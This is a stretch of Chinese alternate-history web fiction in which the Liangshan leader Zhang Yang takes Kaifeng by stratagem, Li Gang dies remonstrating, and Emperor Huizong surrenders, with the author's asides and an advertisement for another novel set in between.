王黼瞪了李纲一眼,奏道:“圣上言之有理,可令张扬带一万兵马进京,圣上在宣德楼与百官观看,如此也不虞他们翻变。”

李纲被王黼瞪了一眼,也是心中一寒。但闻言,不得不硬着头皮,道:“京师百姓闻得此事定也会夹道观看,一万兵马恐使城内交通受阻,不若令其率一千精兵进城。”

徽宗却被众奸臣捧了多年,习惯了看大场面,闻言道:“梁山既已招安,便是国家臣子,岂可多生猜疑。便令张扬带一万兵马进城,寡人来日引百官登宣德楼观看,可教张扬等俱依临敌披挂戎装服色。”

王黼闻言,忙叩谢接旨。

徽宗也无心理政,待王黼接旨,不待众臣上疏,便宣布散朝。

第五章 奉旨进京

张扬带兵到的东京郊外,由于徽宗没有划定扎营的地方,便带兵直逼到城外三十里方才下寨。

半日后,陈宗善才带圣旨前来宣诏。张扬听的准其带兵一万进京,也是大喜,送走陈宗善,便令人请来众万夫长。

众人到齐,张扬便道:“宋徽宗准我带一万兵马进京,也省却我等不少气力。明日我带董平部进京,我们会从东门进,西门出。待我们进城,城内禁军必然会加强对城内控制,对城外监控自然也会疏忽。你们可趁机行军。我带兵出的西门时,会带兵占住西门,花荣部看到信号便急行军来增援。荆忠部直袭西北天驷监,务要抢到战马。关胜、徐京部封锁东二门,呼延灼、张开、梅展部封锁南三门,卢俊义、韩存保、李从吉、项元镇封锁北四门。吴用带其余各部往西门接应。”

张扬又与众人商议了一番细节,才各去准备。

次日,张扬便带亲兵与董平部进城,前面打着金鼓旗幡,后面摆着枪刀斧钺,中间竖着“顺天”、“护国”二面红旗,军士各悬刀剑弓矢,众人各各都穿本身披挂,戎装袍甲,摆成队伍,大军缓缓向新曹门而来。

看着地平线缓缓出现的壮阔城池,张扬也是激动不已,今天自己就将成为这个世界上最繁华、雄伟的城池的主人,广阔的天下也将随之臣服在自己脚下。

到的城下,张扬才意识到北宋是如何经营汴京的,十余丈宽的“护龙河”后面是十丈高的城墙。如果没有充分的攻城器械,即使到的城下恐怕也只能望洋兴叹。十二座城门中,除南薰门等四座正门因通御路而属直门两重之外,其余更是瓮城三层,屈曲开门。而城墙也分了三重。

迎接了无数形形色色的人后,汴京城也迎来了使他登上辉煌顶峰的主人。

东京百姓军民听的梁山兵马进城,也都扶老挈幼,夹道观看。

张扬率兵进城后,便刻意压住军马行进速度。董平部也把张扬所要求的军姿军容展现了出来,所到之处自然是惊叹一片。

徽宗也早早便引百官上了宣德楼,等了一阵,也渐感不耐,正要派人催促时,却见土市子(汴京内城一条街道,亦称竹竿市,人烟稠密,商业繁荣。)街头已经出现一队军马,纵列间整齐划一,远远望去便如二十条直线一般,绵延不绝。在旭日的映衬下,梁山军马更是气势鼎盛。

众人见梁山兵马军容整齐,也是感叹不已。徽宗待军马过完,便命殿头官传旨,教张扬换御赐锦袍来面圣。

张扬带兵到的内城西门,便领亲军停下,同时令董平带大军加速往外城而去。

守卫内城西门的武将看到梁山一支兵马停下,一面令城上士卒加强戒备,一面近前询问。

张扬却以徽宗旨意应付,那武将也不知真假,又知道梁山招安一事是王黼一力促成,也不敢强赶张扬,只好派人往皇宫求证。

张扬领亲军靠到城门处,张扬便对那武将,道:“我在梁山早听的京师繁华,不知大人可否准我上城一观?”

那武将以为梁山已经靠上王黼,那日后自然会飞黄腾达,闻言笑道:“当然。寨主自然招安,我等便同殿为臣了,日后还要请寨主多多照顾。”

张扬闻言,谢过武将,便与武松一起上的城头。

那武将也给张扬指点着城内各处景观,城头士卒见状,便也放松了警惕。

三人正在城头观赏时,却见外城响起几声号炮。

张扬接的信号,也不待那武将反应,便拔出腰刀,挟持了那武将,其他士卒正犹豫间,张扬亲军已经从甬道冲上城头,经过短暂的厮杀便控制了城门。

张扬见已经掌控城门,便一面让人搜集城墙上箭矢,一面指挥亲兵抢占城门附近的有利地形。

那来传旨的殿头官到的城门附近,见梁山兵马翻变起来,忙打马往皇宫跑去。

徽宗正与群臣在文德殿等候张扬来晋见时,却听的张扬占了内城西门,不由大怒,喝道:“此寇反复无常,居然敢在京师作乱…可领兵去剿灭此寇?”

李纲却出列道:“圣上息怒,贼人不过是分了小部攻占内城,大部必然已经攻占了外城西门。城外又有十多万贼人呼应,外城恐怕很难守住了。圣上宜速调外城兵马入内城,扑杀内城贼人,然后死守内城,再传信各州勤王,方可保京师不失。”

徽宗闻言,正犹豫间,却听一将闯进殿内,叩头道:“外城西门被梁山贼人攻占,贼人正源源不断进入。请圣上调兵援救。”

李纲闻言,忙道:“事不宜迟,请圣上速调外城兵马入内城,迟则有全军覆灭之虞。”

王黼此时已经胆寒,爬到中间,奏道:“贼人势大,为国家计,请圣上移驾西京,再调四方兵马围剿贼人可也。”

徽宗此时却是盛怒,看到此事作俑者,不异火上浇油,怒道:“全是你这等谗佞之徒、误国之辈,邀功献媚,坏尽朝廷大事!给我下到泰乙宫听罪,再令外城兵马援救西门,务要堵住贼人。步军太尉段常领禁军扑杀内城贼人。”

李纲闻言,忙出列奏道:“贼人兵马悍勇,西门一失,外城必然不保,圣上不可再虚耗兵力。”

徽宗虽然见过张扬兵马,但始终认为梁山不过是一草寇尔,定然不能与全国精选禁军相抗。无知者无畏,闻言道:“外城百姓众多,朕岂忍他们落入贼手。”

说完,便挥手令众将出去准备。

花荣部进城后,便分五千人增援张扬,其余则与董平杀向南门。

城内禁军精锐早已被童贯、高俅抽调一空,余者不过是些老爷兵,抵抗不多时,南门便也告破,接着东门、北门也接连被破。

段常部领军到的内城西门,见城上梁山士卒已经张弓搭箭,也不敢亲身犯险,在两百步外勒住战马,刚要指挥士卒进攻,却见一支利箭划破苍穹,带着一丝尖啸,直往自己咽喉射来,刚要躲闪,已被射穿喉咙倒在马下。其余官兵见状,不由大骇,未及反应,便又见识了张扬的神箭,三百步内的大小将官纷纷惨叫着倒在张扬箭下。

禁军将官多是东京显贵之子,平日欺压百姓还可,现下见身边同僚不断倒下,哪还顾的什么尊严,不约而同的连滚带爬往后退去。

兵熊熊一个,将熊熊一窝。士卒见状,更是往后飞退。

张扬见状,便也收弓。

禁军后队将官好不容易止住前队退势,刚要指挥兵马冲锋,却听得一阵铁蹄声从外城传来。却是花荣部援兵赶到了,官兵见梁山马军气势剽悍,也不用接战,发声喊,便四散而走。

张扬见状,便也分一部兵马守御西门,张扬则带其余兵马去攻打内城其他城门。

东京禁军在外城便被花荣几部打怕,张扬带兵尚未抵达,三门士卒便已闻声远遁。

不出一个时辰,内城四门便也全部被梁山攻占。

第六章 瓮中捉鳖

徽宗正与众臣在文德殿等候时,却见人报来:“外城四门皆失,段太尉也被张扬射杀。”

徽宗闻言,不由大惊,骇道:“未想贼人如此凶猛,现下却如何是好?”

众文武大臣闻报,也都惊慌失措,独有李纲稍稍镇定,出列奏道:“事已至此,只好招集兵马死守皇宫了,好在皇宫防御设施完善,足可支撑到援兵到来。”

徽宗正不知所措时,听的此言,不异溺水之人看到一根稻草,当下便道:“朕便封卿做皇城守御使,卿可调动城内所有兵马。若卿可保的皇城不失,朕必有重赏。”

李纲谢过皇恩,领了圣旨,出的大殿,听的内城已经杀声四起,忙令人关闭皇城四门,接着李纲便令人清点城内军马。

李纲刚走,蔡攸便清醒过来,出列道:“圣上,贼人势大,仅凭皇城恐难以守御。若圣上有甚闪失,大宋江山危矣。现下贼人尚未合围,可令李纲调禁军护圣上突围,移驾南京,待童太傅调兵北上,再收复京师不迟。”

徽宗本来便六神无主,被蔡攸一说,也觉自己安危要紧,便又令殿头官去传李纲。

李纲正忙着分调军马时,听的皇帝召见,只好再跑回大殿。

徽宗见李纲满脸汗珠,也有些难以启齿,便给了蔡攸一个颜色。

蔡攸却是奸猾,会意出列,却也不说自己意思,只问道:“李大人,你一定能保的皇城不失吗?”

李纲见是皇帝宠臣蔡攸,知道他的意思多半便是皇上的意见了,当下正色道:“贼势浩大,城内禁军又不过三千。下官不敢保证成功,但下官愿死守皇城。不成功则成仁。”

蔡攸满脸赞赏道:“李大人果然是忠贞之士,实乃我等楷模。”

李纲听的蔡攸夸赞,刚要称谢。

蔡攸却又道:“只是万一皇城失守,大人殉国后,圣上又何以自处?”

李纲闻言不由一愣,虽然自己敢以性命守城,但若说让天子冒险,实乃大不敬之罪。但天子一走,军心便也散了,皇城便也无法守了。

蔡攸见李纲无言以对,便又道:“李大人虽然忠勇,但却有失考虑。本官以为当调集禁军,护圣上突围,待圣上到达安全之地,再调集精兵夺回京师。不知李大人以为如何?”

李纲闻言,才知这对君臣打的是逃跑的主意,愤然道:“太祖立朝,至今百年有余,虽有几次败事,但未曾有人轻言放弃京师,既无前例,我等又岂可为后人开此先例?”

徽宗闻言,也面有惭色。

蔡攸见李纲胆敢拂逆自己,声色俱厉喝道:“大胆李纲,你要把圣上置于险地来换取你忠臣之名吗?”

李纲也抛开顾虑,对徽宗叩头道:“臣只知主忧臣死,今日圣上陷于险境,臣也有不可推卸责任。臣愿领兵死守皇城。圣上若执意要抛下社稷宗庙,可即刻令诸班直保护圣上一人突围,若等贼人合围,恐怕圣上便走不了。”

徽宗闻言,也顾不得计较李纲用词,喊道:“殿前都虞候听旨。”

殿前都虞候却是统领内外诸班直,平日负责皇帝的宿卫和仪仗队。闻言,忙出列奏道:“圣上且慢,诸班直将士的家属都在东京,宫门一开,恐怕他们便会四散去保护家人。实在不堪重任。”

徽宗闻言,不由愣道:“那朕该如何办?”

蔡攸听得逃跑无望,也没了主意。众人正慌乱间,却见一将进来奏道:“蔡老太师欲领家人到皇城避祸,岂请圣旨。”

徽宗闻言,忙道:“快请老太师进来。”

李纲却道:“此时贼人恐怕已经攻进内城,百官家眷多在内城,若宫门一开,恐怕便无法关上了。若贼人趁势袭来,皇城恐怕便不保了。”

徽宗闻言,忙道:“既然朕封你做皇城守御使,万事即由你做主,你且去安排吧。”

李纲闻言,便奏道:“圣上放心,微臣一定竭尽全力,只是城中兵马短缺,臣想请圣上下旨让宫内宦官上城守御。”

徽宗此时只能依靠李纲,闻言忙道:“准奏,卿有何差使,尽可自行抉择,勿用禀告朕了。”

李纲闻言,便也下去安排守城诸事。

蔡京与众大臣家眷听得皇上拒开宫门,又听的四处喊杀声不断,只好又躲回家中。

张扬领兵攻占内城四门后,并未急着攻打皇城,只是令各部封锁内外城门,贴榜安民,招降、围剿散兵游勇。

不到一个时辰,内外城便也恢复平静,外城平民百姓多听过梁山替天行道之事,见梁山军马只是斩杀一些趁火打劫的散兵地痞,便也放下心来。

内城一些显贵、富户却是提心吊胆。街上巡逻马军清脆的铁蹄声,便仿佛敲在众人的心上一般,让人忐忑不安。

张扬待内外城平静,才带兵逼近皇城。

皇城周长五里,建有楼台殿阁,建筑雕梁画栋,飞檐高架,曲尺朵楼,朱栏彩槛,蔚为壮观。城门都是金钉朱漆,壁垣砖石间镌铁龙凤飞云装饰。

李纲见梁山军马逼来,也知道贼人马上要攻城了,忙令墙上弓箭手准备射击。

张扬看着城墙外面露出的一部分景观,便大为赞叹,也不忍战火毁坏了皇城,打马出阵,喊道:“我乃梁山张扬,城上士卒听着,宋朝天数已尽,合当灭亡,尔等若开城出降,尚不失富贵荣华,若执意顽抗,战火一起,恐无法幸免。”

李纲闻言,不由心思一动,招来两个神箭手,道:“你们可能射中他?”

那二人用的都是强弓,看了看距离,道:“可以。”

李纲道:“如此便好,只要贼首一死,贼人势必各自散去。天下社稷便托于你二人之手了,请二位出手吧。”

二人闻言,便也点点头,各自取出自己爱弓,弓开满月,觑的亲切,手指一松,两支利箭便离弦而出。

张扬也早看到李纲身旁两人动作,只是并不躲闪。

李纲眼看那两箭便要射中张扬,不由大喜,刚要夸赞二人。

却见张扬右手一抄,已把二箭抓在手中。接着取下鞍上神臂弓,暴喝道:“也看我神箭。”

话音未落,李纲身旁两人已惨叫着掉到城下。

李纲见张扬箭法如斯,也是大骇,但并不退后,只是指挥着兵马上城墙防御。

张扬见状,便也令人去调集各军神箭手。

~~~~~~~~~~~~~~

今天考试,本来想把攻占皇宫都写完的,但时间不够了,大家将就的看吧

第七章 悲哀的死谏

李纲看着城下不断调动的兵马,先前的一丝信心也早飞到了爪哇国。

张扬调集齐一万弓箭手,便又朝城上喊道:“现下出降尚可保的一命,否则兵戈无情。”

城上诸班直将士虽然都有些心动,但见李纲提剑在城墙上巡逻,又无人领头,也不敢乱动,只好暗暗祈祷满天神佛保佑。

张扬见城上无人答话,便挥手令盾手掩护弓箭手出阵。

李纲却是文人出身,在城上见了这许多弓箭手,也不由大惊,下意识的便喊道:“注意躲避。”

城上将士本来准备射击,闻言便也都躲到城垛后面。

梁山弓箭手意外的安全进入射程,在测距手试射一箭后,便都弓开满月,朝城上射来。

上万只箭矢顿时便使得城头一暗,密集的箭雨顷刻间便覆盖了玄德门左右上百丈城墙。城上无甲防护的弓箭手顿时死伤惨重,李纲右臂也中了一只流矢。蚀骨的疼痛使得李纲险些晕了过去,但尽忠报国的念头却使得他挺起身来,正要命令弓箭手起身攻击时,却见城下弓箭手又潮水一般退去。

李纲见城上不少士卒中箭倒地,发出一阵阵声嘶力竭的惨叫,忙道:“马上救人。”

由于城内兵马短缺,皇城又有四门需要防守,因此李纲也没安排什么预备队。城墙上幸存士卒闻言,便抢着扶起伤员,向城下逃去。

城头的将官见李纲指挥再次犯错,不由对守城也没了信心。

张扬拍马出阵,见城墙上乱作一团,便喊道:“我给你们半个时辰考虑,时间一过,我便正式开始攻城。城上主事的也可去请示赵佶那昏君,此时出降,我尚可保全他性命。”

城上众将士闻言,也都松了口气,贪婪的呼吸着,补充刚才因紧张而缺少的氧气。

太监总管冯浩被李纲逼到城头后,便害怕不已,刚才缩到城垛下,眼见身边一个小太监被利箭穿胸,顿时吓得屎尿齐流,闻言,便爬到李纲跟前,道:“皇城恐怕守不住了,还是请圣上拿个主意吧。”

李纲闻到脚底的异味,顿时皱眉不已,但也知道皇上抗战之心本来便不坚,此时若去通报,说不准他还就真降了。闻言道:“圣上既已令我守城,岂可再去烦扰圣上。众人且随我死守城头,敢下城者杀无赦。”

众将士闻言,也都暗叹了一声。

那些宦官、太监更是面如土色,站立不稳。

冯浩是三朝老太监,平日一品大员都得巴结他,也养成了跋扈的性格,根本未把这个从四品官员放在眼里,闻言也顾不得自己现在窘样,喝道:“你敢隐瞒军情不成?”

李纲平日并不敢得罪这些无事尚要生非的皇帝奴才,但此时已抱定以身殉国之心,见这奴才又要狗仗人势,不由喝道:“圣上准我全权负责皇城守御,你若不服,可踏下这城头一步试试?”

冯浩却是未看清形势,哼道:“本官伺候三朝天子,还需看你一个太常少卿的脸色吗?”

说完起身便往城下走去。

李纲见他如此张狂,也是大怒,左手勉力提起宝剑,便把冯浩砍倒在城头。

城头众人见状,不由大惧,也无人再敢出声。

李纲正令城上士卒准备滚木礌石间,却见一骑奔来,喊道:“圣上传皇城守御使李纲进见。”

李纲闻言,不由一愣,但也不敢抗旨不遵,只好骑马直奔大殿。

原来那些宦官见李纲守住玄德门甬道,便趁搬运滚木时,互相掩护着,令一人溜往东华门下城去禀告皇帝,军情自然也被夸张了许多。

徽宗听得梁山只一轮箭雨,便使士卒伤亡过半,忙令人去传唤李纲。

待李纲进殿,徽宗看到李纲右臂上的箭只,更是相信了几分,颤声问道:“皇城果守不住了吗?”

李纲虽有心死战,却到底忠字占了上风,也不敢瞒哄皇帝,愧道:“贼势浩大,先前臣也低估了战场的残酷,贼人只一轮箭雨,各军便伤亡数百,臣只能以死报君了。”

徽宗闻言,叹了口气,道:“既然如此,也勿用多伤士卒了,开城降了吧。”

李纲闻言,惊道:“那样圣上会背上胆怯之名,臣既无能使圣上成为一代明君,又怎可见圣上降贼,为后世所讥。”

徽宗虽然一生无所作为,但也颇想千古留名,联金灭辽,恢复燕云,便有此意。闻言,也是一愣。

蔡攸却又出列道:“圣上此举只是为挽救数千将士性命,后世自会有公论。且圣上只有保重龙体,才能看到以后各州雄师光复京师。”

徽宗本来便怕死,考虑了一下,终究还是觉得性命要紧,当下便也就坡下驴,道:“蔡卿所言极是,众臣随朕出降吧。朕闻张扬仁义广播,想来也不会难为你们。”

李纲听的天子真要向一个草寇降顺,不由大气,一咬牙,便拔出臂上断箭,一股鲜血顿时喷溅而出。李纲却不看右臂伤处,拿箭抵住咽喉,道:“天子若归降草寇,当为千古丑闻,臣辅佐不力,也无颜再见世人,臣闻文死谏,武死战,当为臣子本分,微臣便以死谏圣上收回成命。”

说完,便左手一送,用箭头刺穿咽喉,眼见不活,但身体却未倒地,眼睛也是死死盯着徽宗。

群臣见李纲死谏,也都有些羞惭,一些忠勇大臣也纷纷出言请皇上收回成命。

徽宗也有些摇动,但又不忍抛下这花花世界,一时间也是踟蹰难决。

蔡攸却又出列,斥道:“你等只思为自己名声着想,若抵抗死于贼手,我等众臣自可博得忠臣之名,但圣上却会落下一个暴虐无道,咎由自取的名声。现下出降,尚可使宫内将士、大臣念圣上活命之恩,岂非好过天怒人怨。”

徽宗闻言,也暗道:看来自己终究逃不过后世众人唾骂了,不如出降,还能多活几时。又思及高俅昔日‘及时行乐,以期不负韶华,况人生如白驹过隙,若不自寻欢乐,未免老大徒伤’的媚言,便也打定主意,但话到嘴边,又不由叹了口气,道:“众臣无需多言,随我出去迎接张扬吧。”

说完便向外走去,走到李纲尸首边时,只是叹息了一下,并未多留。

众臣闻言,也都纷纷跟着徽宗而去。只是心境却各有不同,宦官不过是换了个主子,倒也并未有多少担忧,尚存一些忠诚念头的大臣则是叹息不已。蔡攸则考虑如何向张扬说明自己劝降徽宗的功劳。

片时间,大殿便只剩李纲孤零零的站在中央。

徽宗想及以后便要做别人俘虏,也是垂头丧气,脚步自然不快,后面大臣中也多有年老体弱的,速度不异蜗牛犁田。

蔡攸却是急着去邀功请赏,又恐张扬开始攻城,见徽宗无精打采在前面慢慢捱着,便道:“圣上且快些吧,若张扬限时到了,恐怕就要攻城了。”

徽宗闻言,也只好加快脚步向宣德门走来。

张扬眼见时间快到,正要下令弓箭手出阵时,却见宣德门缓缓打开,徽宗已领着文武大臣出降。

点击察看图片链接:从小山中长大却被认为是本世纪唯一一个从未使用过任何自动设备而独立存活下来的天才,带着他那台会思考的破烂电脑来都市生活,以把校长气得吐血的成绩毕业,成为一名军校老师,他会发生什么故事?

第八章 运筹帷幄

虽然内外城官兵并未抵抗多久,但短暂的厮杀也已激发出梁山军马身上的戾气。徽宗出的皇城,被梁山兵马气势一逼,便觉脖子发凉,仿佛一柄剑已经悬在头上一般。平日的皇者威仪也早不翼而飞,双腿开始不停的打颤。看着远处骑马缓缓走来的张扬,刚才在宣德楼的几许欣赏也化为恐惧。平日威严的脸庞也第一次出现讨好的表情。

张扬带着亲兵队和董平一部缓缓靠近皇城,手中霸王枪看似无意的转动着,但枪鄂反射的阳光却始终刺着徽宗的眼睛。

徽宗承受着眼睛的刺痛,又担心张扬言而无信杀了自己,可谓身心俱疲了,但又不敢低头躲避,终于在张扬逼近到身前一丈处时,双膝一软,跪了下去,借机费力的眨了几下眼睛。后面那些稍微有些忠诚之心的大臣见天子都跪了,哪敢站着,蔡攸之流,更是恨不得卖主求生,更别提跪了。

张扬下马扶起徽宗,道:“你虽治国无方,祸国殃民,但总算识些时务,挽救了宫中这许多将士姓名。我听闻你一心向道,便发你往宫内玉清神霄宫修仙问道。可好?”

徽宗听的逃得性命,也顾不得宫内老小了,忙叩头道:“多谢大王,贫道这便往道观修仙问道,国家之事再不敢问。”

张扬闻言,满意的点点头,道:“乐和,你带你队往玉清神霄宫安排赵佶修道,仔细一些,无我命令不得擅离。”

乐和却是心思活泛之人,闻言忙道:“寨主放心。”

徽宗见状,便也再次叩谢张扬,起身在乐和百人队看护下,向皇宫内玉清昭应道观而去。

蔡攸见徽宗离去,便也爬到张扬脚下,叩头道:“小人蔡攸参见新皇。”其他众奸臣见状,也纷纷叩头参拜。

张扬却喝道:“来人哪,所有大臣全部打入太乙宫,等候审查。”

众大臣闻言,不由一阵惊愕,历史上造反之人,也必得从原王朝中收降一些大员,才好管理倘大一个国家,因此才有这许多人婢颜屈膝。

众人愣神间,董平麾下一个千人队已经涌上前,把众人拖了下去。

张扬令董平部接管皇城防卫,武松接管了后宫,便把徽宗诸班直召集起来。

班直却是宋太祖赵匡胤从各军中选拔骁勇魁梧之辈充任,又令士卒选高大女子为偶,想让他们的后代魁梧骁勇,好为各代皇帝充当班直。(感叹一句,原来咱中国早有优生优育的想法了啊)

这些班直知道众大臣下场后,对自己命运也是担忧不已。

张扬见这些将士各个长大魁梧,也是心生喜爱,见他们一脸担忧,便道:“你们既为赵佶班直,当为全国精锐,以后仍做我的亲卫队。现在我准你们一天假,回家探看家小,若有伤病的,可往皇宫找御医医治。后日辰时,在东华门前集合。”

众将士听的张扬不但不处罚自己,还准回家探看亲人,不由大喜,纷纷叩谢张扬。

张扬扶起前面几个将领,道:“现下中原纷乱,四境又有蛮夷虎视,正是男儿建功立业之时,各人可回家安顿老小,不日当随我往边疆建功,说不得回来时,你们中有人便成大将军了。”

宋初班直尚经常参加征战,但檀渊之盟后便告别了战场,沦为皇上的仪仗队。这些班直又都是全国精选,武艺精熟之辈,自然不敢蛰伏,闻言不由热血沸腾。

张扬看着众班直出城,才让董平部清查各殿。

当晚,张扬便在集英殿大宴众将,赵明诚也引了几个好友和其父门生。众人酒至半酣,张扬便道:“今日尚有大事要议,众人且先随我往崇政殿,待天下太平,我等再大饮不迟。”

众人闻言,便也一起起身随张扬来到崇政殿。

到的崇政殿偏厅,便见一个个沙盘式立体地图摆在中间,却是沈括首先发明,之后徽宗便令各州如法炮制,之后呈献大内,可说天下地理尽汇于一屋了。

众武将见到这些立体地图,不由两眼发亮。

张扬笑道:“众人恐怕是第一次见到这些地图吧,有了他们行军打仗便方便许多了,可惜不便携带,当然你们也放心,我也不会象那宋朝皇帝般给你们预先制定出兵路线。”

众人以往都是在梁山一地运动,张扬也把诸事安排妥当,但现下天下颇大,众人倒真有些担心他再效仿宋朝了,闻言也松了口气,但嘴上自然不敢明说。

吴用见众人仍称呼张扬为寨主,便道:“正所谓名不正,则言不顺;言不顺,则事不成。寨主既已决意逐鹿天下,也该确立一个国号才好寄托民心。”

张扬早已想过此事,见吴用提出,便也道:“明日便让赵佶写个禅位书传发天下吧,国号便改为天吧,一来是先前我等打得旗号是替天行道,二来他与我来源也有些关系。国旗则以黑色为底,中央绘以五爪金龙,政策便以山东地区为例。”

(西方基督教也有天国,还有长生天什么的,古人对天是极其敬畏的,对以后主角装神时也有一定便利)

众人早听过张扬收服张叔夜和赵明诚的事情,心里也早信了几分,听他再次明言,不由又添了几分敬畏。

现下天下纷乱,张扬虽然有些优势,但也想使麾下众将安心,见众人神色,也知道自己目的已经达到。

张扬又与众人商议了几个细节,便转到军事上来。

戴宗指着地图道:“现下田虎已经攻下泽州、壶关,至此河东(山西)太原以南全部落入田虎手中,王庆也攻下汝州,威胁西京河南府(洛阳),西夏方面自从童贯领兵南下后,便由夏崇宗弟察哥领军十万驻扎西寿宝泰监军司,秦凤经略使种师道也已在湟州戒备。童贯大军则在浙东一带剿灭方腊残部。林冲和杨志头领部都已进入河北境内。”

张扬待戴宗说完,便道:“你们各自说说自己看法吧。”

众人互相看了一下,吴用首先道:“我朝虽然看似四面为敌,但田虎、方腊易平,童贯大军也无法快速北上,而且汴京城池坚固,童贯短期也无法攻下。紧要的是防止西夏和辽国入侵,河北方面有王焕头领,应该可以在辽国出兵前抢占一些紧要城池,西夏方面则要派人游说种师道先抵抗外族侵略才好。”

宗泽也点头道:“学究,所言正是,内患可先搁置,外族却不能放任。”

张叔夜道:“为臣在西北时与种师道颇有往来,臣可往西北游说他先抵抗外族,只是西北兵马大半跟随童贯南下,恐怕需要圣上再派援兵才能抵抗西夏入侵。”

张扬闻言,也是大喜,笑道:“一定,只要嵇仲能游说种师道将军抵抗西夏一段时间,我一定亲自带兵增援。”

张叔夜听的张扬亲自带兵援救,也是心下大宽,当下便接了这个差事。

张扬又道:“虽然国内可暂缓攻势,但也不可使田虎王庆做大。明日呼延灼便带李从吉、王文德、杨温、张开、花荣六部人马抢占西京,并随时准备增援西北。若田虎王庆部先行攻占,则在郑州待命。关胜带韩存保、荆忠、党士英、党世雄攻占怀州,之后可抢夺太行径,一路向北收复田虎攻占的州府。其余各部防守东京。”

众人闻言,便也各自接令而去。